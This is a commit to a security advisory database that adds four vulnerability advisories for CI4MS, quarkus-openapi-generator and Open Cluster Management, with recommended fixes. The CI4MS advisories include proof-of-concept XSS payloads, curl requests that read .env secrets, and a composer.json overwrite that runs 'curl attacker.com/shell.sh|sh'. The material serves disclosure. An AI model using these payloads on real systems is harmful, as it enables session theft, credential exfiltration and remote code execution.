Skip to content

Commit f4e79c7

Browse files
1 parent e0dffc0 commit f4e79c7

5 files changed

Lines changed: 295 additions & 4 deletions

File tree

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7cm9-v848-cfh2",
4+
"modified": "2026-04-08T19:15:32Z",
5+
"published": "2026-04-08T19:15:32Z",
6+
"aliases": [
7+
"CVE-2026-39391"
8+
],
9+
"summary": "CI4MS has stored XSS via Unescaped Blacklist Note in Admin User List",
10+
"details": "## Summary\n\nThe blacklist (ban) note parameter in `UserController::ajax_blackList_post()` is stored in the database without sanitization and rendered into an HTML `data-note` attribute without escaping. An admin with blacklist privileges can inject arbitrary JavaScript that executes in the browser of any other admin who views the user management page.\n\n## Details\n\nIn `modules/Users/Controllers/UserController.php`, the `ajax_blackList_post()` method (line 344-362) accepts a `note` POST parameter with only a `required` validation rule:\n\n```php\n// Line 347 — validation only checks 'required', no sanitization\n$valData = (['note' => ['label' => lang('Backend.notes'), 'rules' => 'required'],\n 'uid' => ['label' => 'uid', 'rules' => 'required|is_natural_no_zero']]);\n\n// Line 352 — raw user input passed directly to ban()\n$user->ban($this->request->getPost('note'));\n```\n\nShield's `Bannable::ban()` trait stores the message as-is:\n```php\n// vendor/codeigniter4/shield/src/Traits/Bannable.php\npublic function ban(?string $message = null): self\n{\n $this->status = 'banned';\n $this->status_message = $message; // No escaping\n // ...\n}\n```\n\nIn the `users()` method (line 13-91), when building the DataTables response, the `status_message` is concatenated directly into HTML without escaping:\n\n```php\n// Line 55 — esc() IS used here (correct)\n$result->fullname = esc($result->firstname) . ' ' . esc($result->surname);\n\n// Line 58-59 — NO esc() on status_message (vulnerable)\nif ($result->status == 'banned'):\n $result->actions .= '<button ... data-note=\"' . $result->status_message . '\">'\n```\n\nThe HTML string is returned as JSON (line 90) and DataTables renders it into the DOM. CSP is disabled (`$CSPEnabled = false` in `App.php`), and no `SecureHeaders` filter is applied.\n\n## PoC\n\n**Step 1 — Store XSS payload via ban endpoint:**\n```bash\ncurl -X POST 'https://TARGET/backend/users/blackList' \\\n -H 'X-Requested-With: XMLHttpRequest' \\\n -H 'Cookie: ci_session=ADMIN_SESSION_WITH_UPDATE_PERM' \\\n -d 'uid=2&note=%22+onmouseover%3D%22alert(document.cookie)%22+x%3D%22'\n```\n\nExpected response: `{\"result\":true,\"error\":{\"type\":\"success\",\"message\":\"...\"}}`\n\n**Step 2 — Trigger payload:**\nAny admin navigating to `/backend/users` will receive HTML containing:\n```html\n<button ... data-note=\"\" onmouseover=\"alert(document.cookie)\" x=\"\">\n```\n\nThe XSS fires when the admin hovers over the blacklist button for the banned user.\n\n**Alternative immediate-execution payload:**\n```\nnote=\"><img src=x onerror=alert(document.cookie)>\n```\n\n## Impact\n\n- **Session hijacking**: An attacker with blacklist privileges can steal session cookies of other admins (including superadmins who view the user list but are themselves protected from being banned).\n- **Privilege escalation**: A lower-privileged admin could use stolen superadmin sessions to gain full control.\n- **Persistent**: The payload persists in the database and fires every time the user list is loaded, affecting all admins who view the page.\n\n## Recommended Fix\n\nWrap `status_message` with `esc()` to match the escaping already applied to other user fields on line 55:\n\n```php\n// In users() method, line 58-59 — change:\n$result->actions .= '<button type=\"button\" class=\"btn btn-outline-dark btn-sm open-blacklist-modal\"\n data-id=\"' . $result->id . '\" data-status=\"' . $result->status . '\" data-note=\"' . esc($result->status_message) . '\"><i\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "ci4-cms-erp/ci4ms"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.31.4.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.31.3.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-7cm9-v848-cfh2"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39391"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/ci4-cms-erp/ci4ms"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-79"
62+
],
63+
"severity": "MODERATE",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-08T19:15:32Z",
66+
"nvd_published_at": "2026-04-08T15:16:13Z"
67+
}
68+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-9rxp-f27p-wv3h",
4+
"modified": "2026-04-08T19:15:08Z",
5+
"published": "2026-04-08T19:15:08Z",
6+
"aliases": [
7+
"CVE-2026-39389"
8+
],
9+
"summary": "CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files",
10+
"details": "## Summary\n\nThe Fileeditor controller defines a `hiddenItems` array containing security-sensitive paths (`.env`, `composer.json`, `vendor/`, `.git/`) but only enforces this protection in the `listFiles()` method. The `readFile()`, `saveFile()`, `deleteFileOrFolder()`, `renameFile()`, `createFile()`, and `createFolder()` endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only `fileeditor.read` permission can exfiltrate application secrets from `.env`, and a user with `fileeditor.update` permission can overwrite `composer.json` to achieve remote code execution.\n\n## Details\n\nThe `hiddenItems` array is defined at `modules/Fileeditor/Controllers/Fileeditor.php:10-26`:\n\n```php\nprotected $hiddenItems = [\n '.git', '.github', '.idea', '.vscode',\n 'node_modules', 'vendor', 'writable',\n '.env', 'env', 'composer.json', 'composer.lock',\n 'tests', 'spark', 'phpunit.xml.dist', 'preload.php'\n];\n```\n\nThis array is checked **only** in `listFiles()` at lines 45-48 and 64:\n\n```php\n// Line 45-48 - path component check\nforeach ($pathParts as $part) {\n if (in_array($part, $this->hiddenItems)) {\n return $this->failForbidden();\n }\n}\n// Line 64 - directory listing filter\nif (in_array($name, $this->hiddenItems)) continue;\n```\n\nHowever, `readFile()` (line 76) performs **neither** a `hiddenItems` check **nor** an `allowedFileTypes()` check:\n\n```php\npublic function readFile()\n{\n // ... validation ...\n $path = $this->request->getVar('path');\n $fullPath = realpath(ROOTPATH . $path);\n if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {\n return $this->response->setJSON(['error' => '...'])->setStatusCode(400);\n }\n return $this->response->setJSON(['content' => file_get_contents($fullPath)]);\n}\n```\n\nThis means any file within ROOTPATH — regardless of extension (`.php`, `.env`, etc.) — can be read by any user with the `fileeditor.read` permission.\n\nSimilarly, `saveFile()` (line 92) checks `allowedFileTypes()` but not `hiddenItems`. Since `json` is in `$allowedExtensions`, `composer.json` (which is explicitly in `hiddenItems`) can be overwritten:\n\n```php\nprotected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];\n```\n\n`deleteFileOrFolder()` (line 194) checks neither `hiddenItems` nor `allowedFileTypes()`.\n\n**Compounding factor:** CSRF protection is disabled for all fileeditor routes in `modules/Fileeditor/Config/FileeditorConfig.php:7-10`:\n\n```php\npublic $csrfExcept = [\n 'backend/fileeditor',\n 'backend/fileeditor/*',\n];\n```\n\nThis means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.\n\n## PoC\n\nRequires an authenticated backend session with `fileeditor.read` permission granted.\n\n**Step 1: Read .env file to extract secrets**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n 'https://target.com/backend/fileeditor/read?path=/.env'\n```\nExpected response: JSON containing `.env` file contents including database credentials, encryption keys, and other secrets.\n\n**Step 2: Read PHP configuration files**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n 'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'\n```\nExpected response: Full database configuration PHP source with credentials (note: `readFile()` has no `allowedFileTypes` check, so `.php` files are readable).\n\n**Step 3: Overwrite composer.json for RCE (requires `fileeditor.update` permission)**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n -X POST 'https://target.com/backend/fileeditor/save' \\\n -d 'path=/composer.json' \\\n -d 'content={\"scripts\":{\"post-install-cmd\":\"curl attacker.com/shell.sh|sh\"}}'\n```\nThe next `composer install` or `composer update` executes the attacker's script.\n\n**Step 4: Delete .env (requires `fileeditor.delete` permission)**\n```bash\ncurl -s -b 'ci_session=<valid_session_cookie>' \\\n -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \\\n -d 'path=/.env'\n```\n\n## Impact\n\n- **Credential disclosure:** Any backend user with `fileeditor.read` permission can read `.env` (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions.\n- **Remote code execution:** A user with `fileeditor.update` permission can overwrite `composer.json` with malicious composer scripts that execute on the next `composer install/update`.\n- **Denial of service:** A user with `fileeditor.delete` permission can delete `.env` or other critical configuration files, causing application failure.\n- **False security boundary:** Administrators who configure `fileeditor.read` as a limited permission for content editors are unknowingly granting access to all application secrets, since the `hiddenItems` protection only affects the UI file tree, not the API.\n\n## Recommended Fix\n\nApply `hiddenItems` validation to all endpoints that accept a `path` parameter. Extract the check into a reusable method and also add `allowedFileTypes` to `readFile()`:\n\n```php\n// Add this method to the Fileeditor controller\nprivate function isHiddenPath(string $path): bool\n{\n $pathParts = explode('/', trim($path, '/'));\n foreach ($pathParts as $part) {\n if (in_array($part, $this->hiddenItems)) {\n return true;\n }\n }\n return false;\n}\n\n// Then add to readFile(), saveFile(), renameFile(), createFile(), \n// createFolder(), and deleteFileOrFolder():\nif ($this->isHiddenPath($path)) {\n return $this->failForbidden();\n}\n\n// Additionally, add allowedFileTypes check to readFile():\nif (!$this->allowedFileTypes($fullPath)) {\n return $this->failForbidden();\n}\n```\n\nAlso re-enable CSRF protection by removing the CSRF exemption in `FileeditorConfig.php` (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "ci4-cms-erp/ci4ms"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.31.4.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.31.3.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-9rxp-f27p-wv3h"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39389"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/ci4-cms-erp/ci4ms"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-285"
62+
],
63+
"severity": "MODERATE",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-08T19:15:08Z",
66+
"nvd_published_at": "2026-04-08T15:16:13Z"
67+
}
68+
}
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jx2w-vp7f-456q",
4+
"modified": "2026-04-08T19:14:32Z",
5+
"published": "2026-04-08T19:14:32Z",
6+
"aliases": [],
7+
"summary": "quarkus-openapi-generator extension has Zip Slip Path Traversal in ApicurioCodegenWrapper class",
8+
"details": "### Summary\nA path traversal vulnerability was discovered in the quarkus-openapi-generator extension\n\n### Details\nThe `unzip()` method in `ApicurioCodegenWrapper.java` extracts ZIP entries without validating that the resolved file path stays within the intended output directory. At line 101, the destination is constructed as `new File(toOutputDir, entry.getName())` and the content is written immediately. A malicious ZIP archive containing entries with path traversal sequences (e.g., `../../malicious.java`) would write files outside the target directory.\n\nThe interesting thing is that the client module in the same repository already has the correct fix. `OpenApiGeneratorStreamCodeGen.java` at line 137 performs proper `normalize()` and `startsWith()` validation. The server module was simply missed.\n\n### PoC\nThis vulnerability is exploitable when an attacker controls or can intercept the ZIP archive served by the Apicurio registry. In environments where the registry connection is over an untrusted network or where TLS is not properly configured, exploitation becomes practical. The attack occurs at build/codegen time.\n\n1. Create a ZIP file containing an entry named `../../proof.txt` with arbitrary content\n2. Configure quarkus-openapi-generator to use the server (Apicurio) code generation path\n3. Serve the malicious ZIP from a controlled or MITM'd Apicurio registry endpoint\n4. Trigger code generation\n5. Observe that `proof.txt` is written two directories above the intended output\n\n\n### Impact\nAn attacker who can serve a crafted ZIP to the code generation pipeline could write arbitrary files on the build machine. This could overwrite source files, inject malicious code into the build output, or modify configuration files. In CI/CD environments, this could lead to supply chain compromise.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Maven",
19+
"name": "io.quarkiverse.openapi.generator:quarkus-openapi-generator"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2.16.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 2.15.0"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/quarkiverse/quarkus-openapi-generator/security/advisories/GHSA-jx2w-vp7f-456q"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/quarkiverse/quarkus-openapi-generator"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-22"
52+
],
53+
"severity": "MODERATE",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-04-08T19:14:32Z",
56+
"nvd_published_at": null
57+
}
58+
}

advisories/unreviewed/2026/04/GHSA-q4gv-pjmh-c735/GHSA-q4gv-pjmh-c735.json renamed to advisories/github-reviewed/2026/04/GHSA-q4gv-pjmh-c735/GHSA-q4gv-pjmh-c735.json

Lines changed: 33 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,49 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-q4gv-pjmh-c735",
4-
"modified": "2026-04-07T15:30:52Z",
4+
"modified": "2026-04-08T19:13:58Z",
55
"published": "2026-04-07T15:30:52Z",
66
"aliases": [
77
"CVE-2026-4740"
88
],
9+
"summary": "Open Cluster Management (OCM): Cross-cluster privilege escalation via improper Kubernetes client certificate renewal validation",
910
"details": "A flaw was found in Open Cluster Management (OCM), the technology underlying Red Hat Advanced Cluster Management (ACM). Improper validation of Kubernetes client certificate renewal allows a managed cluster administrator to forge a client certificate that can be approved by the OCM controller. This enables cross-cluster privilege escalation and may allow an attacker to gain control over other managed clusters, including the hub cluster.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "open-cluster-management.io/ocm"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.2.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4740"
2142
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/open-cluster-management-io/ocm/commit/9e70cc1e21a15239c81111062c0b37df4b5a8026"
46+
},
2247
{
2348
"type": "WEB",
2449
"url": "https://access.redhat.com/security/cve/CVE-2026-4740"
@@ -30,15 +55,19 @@
3055
{
3156
"type": "WEB",
3257
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2450590"
58+
},
59+
{
60+
"type": "PACKAGE",
61+
"url": "https://github.com/open-cluster-management-io/OCM"
3362
}
3463
],
3564
"database_specific": {
3665
"cwe_ids": [
3766
"CWE-295"
3867
],
3968
"severity": "HIGH",
40-
"github_reviewed": false,
41-
"github_reviewed_at": null,
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-04-08T19:13:58Z",
4271
"nvd_published_at": "2026-04-07T15:17:46Z"
4372
}
4473
}

0 commit comments

Comments
 (0)